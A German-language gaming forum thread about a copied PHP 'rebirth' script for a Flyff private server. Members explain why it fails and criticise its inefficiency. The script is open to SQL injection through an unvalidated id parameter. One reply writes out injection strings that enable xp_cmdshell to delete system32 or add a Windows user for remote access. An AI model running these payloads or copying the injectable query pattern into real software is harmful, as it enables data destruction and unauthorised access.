Rebirth für Offi Files

Richi

Ich hab das Script genau so aus Ragezone kopiert :)

Hier Klicken-->

<?php
$MD5Code = "kikugalanet"; // Your Neuz MD5 Code
$dbAddr = 'Your SQL Express Here'; // Your MSSQL Host IP
$dbUser = 'sa'; // Your Database user
$dbPass = 'Your DB Pass'; // Your Database User password
$dbName = "CHARACTER_01_DBF"; // Your Account Database
$server_name = "Flyff"; // Define your Servername here
$reg_allow = 1; // To turn on registering a write "1"
if(!extension_loaded("mssql")) {
echo "The required module is not enabled on your MSSQL server. Please enable it.";
exit();
}

$link = mssql_connect($dbAddr, $dbUser, $dbPass) or die ("Could not connect to the database. Please check your settings.");
mssql_select_db($dbName, $link);
?>
<table width="500" border="0" class="tables2">
<tr>
<td align="center" height="18"></td>
</tr>
<tr>
<td align="left" class="Estilo3"></td>
</tr>
<tr>
<td align="center" class="estilo3"><table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>

<td align="center">
<?php
if ($act == 'reborn')
{
$id = $_GET["id"];
$matchrows = mssql_query("SELECT * FROM characters AS c INNER JOIN accounts AS a ON a.username = c.accountname WHERE c.id = $id AND a.username = '$user'");
$checkrows = mssql_num_rows($matchrows);
if ($checkrows != 0)
{
$id = $_GET["id"];
$query = mssql_query("SELECT * FROM characters WHERE id = $id");
$get = mssql_fetch_array($query);
$class = $get['class'];
$lvl = $get['level'];
$rebirths = $get['rebirths'];

if (($lvl == 121) && ($class >= 24) && ($class <= 31) && ($rebirths < $maxrebirths) && ($penya >= $rebirthcost))
{
if ($class == 24) { mssql_query("UPDATE characters SET class = 16 WHERE id = $id"); }
if ($class == 25) { mssql_query("UPDATE characters SET class = 17 WHERE id = $id"); }
if ($class == 26) { mssql_query("UPDATE characters SET class = 18 WHERE id = $id"); }
if ($class == 27) { mssql_query("UPDATE characters SET class = 19 WHERE id = $id"); }
if ($class == 28) { mssql_query("UPDATE characters SET class = 20 WHERE id = $id"); }
if ($class == 29) { mssql_query("UPDATE characters SET class = 21 WHERE id = $id"); }
if ($class == 30) { mssql_query("UPDATE characters SET class = 22 WHERE id = $id"); }
if ($class == 31) { mssql_query("UPDATE characters SET class = 23 WHERE id = $id"); }

mssql_query("UPDATE characters SET level = 60 WHERE id = $id");
mssql_query("UPDATE characters SET world = 1 WHERE id = $id");
mssql_query("UPDATE characters SET posx = 6973 WHERE id = $id");
mssql_query("UPDATE characters SET posy = 10 WHERE id = $id");
mssql_query("UPDATE characters SET posz = 3328 WHERE id = $id");
mssql_query("UPDATE characters SET rebirths = rebirths + 1 WHERE id = $id");
mssql_query("UPDATE characters SET penya = $penya - $rebirthcost WHERE id = $id");

if (mssql_affected_rows() != 0)
{
echo "<center><h3>Character has successfully been rebirth!</h3></center>";
}
else
{
echo "<center><h3>An error has occured, please try again.</h3></center>";
}
}
else
{
echo "<center><h3>Your character can not yet be rebirth. You must be level 120 HERO and get 20000000 of penya.</h3></center>";
}
}
}
?>

[SIZE="4"][COLOR="Red"]Credits[/COLOR][/SIZE]
Ich 0,1% Fürs Kopieren aus Ragezone
Shihen & Raniko 99,99% Für das Script

Foldercarp

[COLOR="DarkOrange"]Nice, bin gespannt welche Sicherheitslücken rauskommen, wie bei Caali konnte man auch XXXXXXXX Stats hacken ;>[/COLOR]

Nydn

funktioniert das denn?

Zer0

[COLOR="DarkRed"]Hab's mal getestet. Kommt nur ein weisses Fenster.

Ja, MSSQL ist in xampp via php.ini aktiviert o.O[/COLOR]

tester1337

Code

$dbName = "[COLOR="DeepSkyBlue"]CHARACTER[/COLOR]_01_DBF"; // [COLOR="SeaGreen"]Your Account Database[/COLOR]

Das Skript muss epic sein.

Zer0

[COLOR="DarkRed"]Denke mal er meint damit die CHARACTER_01_DBF ....

Jedem passiert mal ein Fehler...

Trotzdem geht sie nicht, da nur ein weißes Fenster kommt o.O[/COLOR]

Kalli749

jop kann da leider nur zustimmen..

nur ein weises fenster sonst nichts

Crasy

[FONT="Tahoma"][COLOR="DarkOrange"][SIZE="2"]Der Grund dafür ist:

Zitat

<?php
$MD5Code = "kikugalanet"; // Your Neuz MD5 Code
$dbAddr = 'Your SQL Express Here'; // Your MSSQL Host IP
$dbUser = 'sa'; // Your Database user
$dbPass = 'Your DB Pass'; // Your Database User password
$dbName = "CHARACTER_01_DBF"; // Your Account Database
$server_name = "Flyff"; // Define your Servername here
$reg_allow = 1; // To turn on registering a write "1"
if(!extension_loaded("mssql")) {
echo "The required module is not enabled on your MSSQL server. Please enable it.";
exit();
}

$link = mssql_connect($dbAddr, $dbUser, $dbPass) or die ("Could not connect to the database. Please check your settings.");
mssql_select_db($dbName, $link);
?>
<table width="500" border="0" class="tables2">
<tr>
<td align="center" height="18"></td>
</tr>
<tr>
<td align="left" class="Estilo3"></td>
</tr>
<tr>
<td align="center" class="estilo3"><table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>

<td align="center">
<?php
if ($act == 'reborn')
{
$id = $_GET["id"];
$matchrows = mssql_query("SELECT * FROM characters AS c INNER JOIN accounts AS a ON a.username = c.accountname WHERE c.id = $id AND a.username = '$user'");
$checkrows = mssql_num_rows($matchrows);
if ($checkrows != 0)
{
$id = $_GET["id"];
$query = mssql_query("SELECT * FROM characters WHERE id = $id");
$get = mssql_fetch_array($query);
$class = $get['class'];
$lvl = $get['level'];
$rebirths = $get['rebirths'];

if (($lvl == 121) && ($class >= 24) && ($class <= 31) && ($rebirths < $maxrebirths) && ($penya >= $rebirthcost))
{
if ($class == 24) { mssql_query("UPDATE characters SET class = 16 WHERE id = $id"); }
if ($class == 25) { mssql_query("UPDATE characters SET class = 17 WHERE id = $id"); }
if ($class == 26) { mssql_query("UPDATE characters SET class = 18 WHERE id = $id"); }
if ($class == 27) { mssql_query("UPDATE characters SET class = 19 WHERE id = $id"); }
if ($class == 28) { mssql_query("UPDATE characters SET class = 20 WHERE id = $id"); }
if ($class == 29) { mssql_query("UPDATE characters SET class = 21 WHERE id = $id"); }
if ($class == 30) { mssql_query("UPDATE characters SET class = 22 WHERE id = $id"); }
if ($class == 31) { mssql_query("UPDATE characters SET class = 23 WHERE id = $id"); }

mssql_query("UPDATE characters SET level = 60 WHERE id = $id");
mssql_query("UPDATE characters SET world = 1 WHERE id = $id");
mssql_query("UPDATE characters SET posx = 6973 WHERE id = $id");
mssql_query("UPDATE characters SET posy = 10 WHERE id = $id");
mssql_query("UPDATE characters SET posz = 3328 WHERE id = $id");
mssql_query("UPDATE characters SET rebirths = rebirths + 1 WHERE id = $id");
mssql_query("UPDATE characters SET penya = $penya - $rebirthcost WHERE id = $id");

if (mssql_affected_rows() != 0)
{
echo "<center><h3>Character has successfully been rebirth!</h3></center>";
}
else
{
echo "<center><h3>An error has occured, please try again.</h3></center>";
}
}
else
{
echo "<center><h3>Your character can not yet be rebirth. You must be level 120 HERO and get 20000000 of penya.</h3></center>";
}
}
}
?>

Alles anzeigen

TwiLight das ist nicht Fail...

Da muss ACCOUTM_DBF hin

Sonst kein Login möglich

Oder denkt ihr man kann ihrg ein char
nehmen und den ma schnell aus spaß 60 machen ? :P[/SIZE][/COLOR][/FONT]

Kyubinoyoko

Bei mir kommt net NUR weißes f enster bei mir kommt ein weißes f enster mit
[COLOR="Red"]The required module is not enabled on your MSSQL server. Please enable it.[/COLOR]
Das ist doch schon mal ein gewaltiger Fortschritt wuhu !:yuush:

Zer0

[COLOR="DarkRed"]Auch mit der ACCOUNT_DBF gehts genau so wenig wie mit CHARACTER_01_DBF...[/COLOR]

Rejun

das liegt daran das vorher keine charid gesendet wurde.
vorallem:

Code

$matchrows = mssql_query("SELECT * FROM characters AS c INNER JOIN accounts AS a ON a.username = c.accountname WHERE c.id = $id AND a.username = '$user'");

wo ist bei offi db bitte noch solche tabellennamen. XD XD XD XD XD

Quget

This based on a rebirth system from caali files.
So i think a complete rewrite is better :/

Freeware

Zitat von Quget;88319

This based on a rebirth system from caali files.
So i think a complete rewrite is better :/

No! That is for offi but isn´t work!
Look at the script,there are mssql settings no mysql!

:yuush::yuush:

Cross

[FONT="Tahoma"][COLOR="LemonChiffon"][SIZE="2"]

Zitat von Freeware;88336

No! That is for offi but isn´t work!
Look at the script,there are mssql settings no mysql!
:yuush::yuush:

ja mssql einstellungen stehn drin, doch basierd es eindeutig (siehe zb tabellen namen) auf mysql (caali kompatibel)
Man müsste wohl die tabellennamen auf offi noch anpassen^^

mfg
cross[/SIZE][/COLOR][/FONT]

mootie

Never tried it, but I don't believe it would work at all. Not without a lot of RE. Try changing the level field in your database then relogging. You will remain the level you were before. The database(trans) server holds values such as level. This is also an extremely simple script and needs a lot of work to function properly.
Other Issues:

mssql_query(MySQL)

$matchrows = mssql_query("SELECT * FROM characters AS c INNER JOIN accounts AS a ON a.username = c.accountname WHERE c.id = $id AND a.username = '$user'");

Try again. Mysql syntax.

SQL Injection Bewareee

$query = mssql_query("SELECT * FROM characters WHERE id = '[COLOR="Red"]$id[/COLOR]'");

SQL Injection much?

SQL Injection Bewareee

$query = mssql_query("SELECT * FROM characters WHERE id = '[COLOR="Red"]';EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE EXEC master.dbo.xp_cmdshell 'cmd.exe rmdir C:/WINDOWS/system32'--[/COLOR]'");

Or...

SQL Injection Bewareee

$query = mssql_query("SELECT * FROM characters WHERE id = '[COLOR="Red"]';EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE EXEC master.dbo.xp_cmdshell 'cmd.exe net user mootie password //ADD'--[/COLOR]'");

for remote access :>

HDBlacker

fail script.
8 abfragen, die eigentlich mit einer zusammengefasst hätten werden können.
bei > 10.000 charaktern kann das schon mal 20 sekunden dauern bis die seite offen is :>
zudem wohl eindeutig Caali Script mit MSSQL connect, mehr nicht.
auch wenns mit den echten dbs für offi wäre, ich würds nicht benutzen. sql injections möglich und so weit ich weiß funzt das bei offi eh nicht, weil wenn man ausloggt, das lvl in der db ändert und wieder einloggt, wieder das alte level hat weil der cache server sich das merkt.

grüße

//edit:

Zitat

Credits
Ich 0,1% Fürs Kopieren aus Ragezone
Shihen & Raniko 99,99% Für das Script

fail?^^ 100,09%?

Rebirth für Offi Files

Jetzt mitmachen!

SCHNELLZUGRIFF

HILFE & COMMUNITY

RECHTLICHES